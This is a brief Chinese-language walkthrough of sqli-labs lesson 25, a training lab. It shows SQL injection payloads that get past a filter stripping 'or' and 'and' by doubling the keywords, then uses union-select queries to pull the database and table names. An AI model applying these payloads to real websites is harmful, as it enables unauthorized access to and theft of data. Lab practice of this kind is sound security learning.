sqli--labs(25)

过滤了 or and 的get注入

0X01测试阶段

’报错 ” 不报错 那么就是'闭合

好的我们知道闭合后来#闭合后面

?id=' order by 1 and ''='

语法不正确 发现过滤了 or and

那么我们继续构造

?id=' oorrder by 1 anandd ''='

0X01爆数据库名

?id=-' union select 1,database(),3 anandd ''='

0X02爆破表名

?id=-' union select 1,table_name from information_schema.tables where table_schema='security',3 anandd ''='

formation 的or

?id=-' union select 1,(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1),3 anandd ''='

成功

但是 为什么这样会不成功

?id=-' union select 1,table_name from infoorrmation_schema.tables where table_schema='security',3 anandd ''='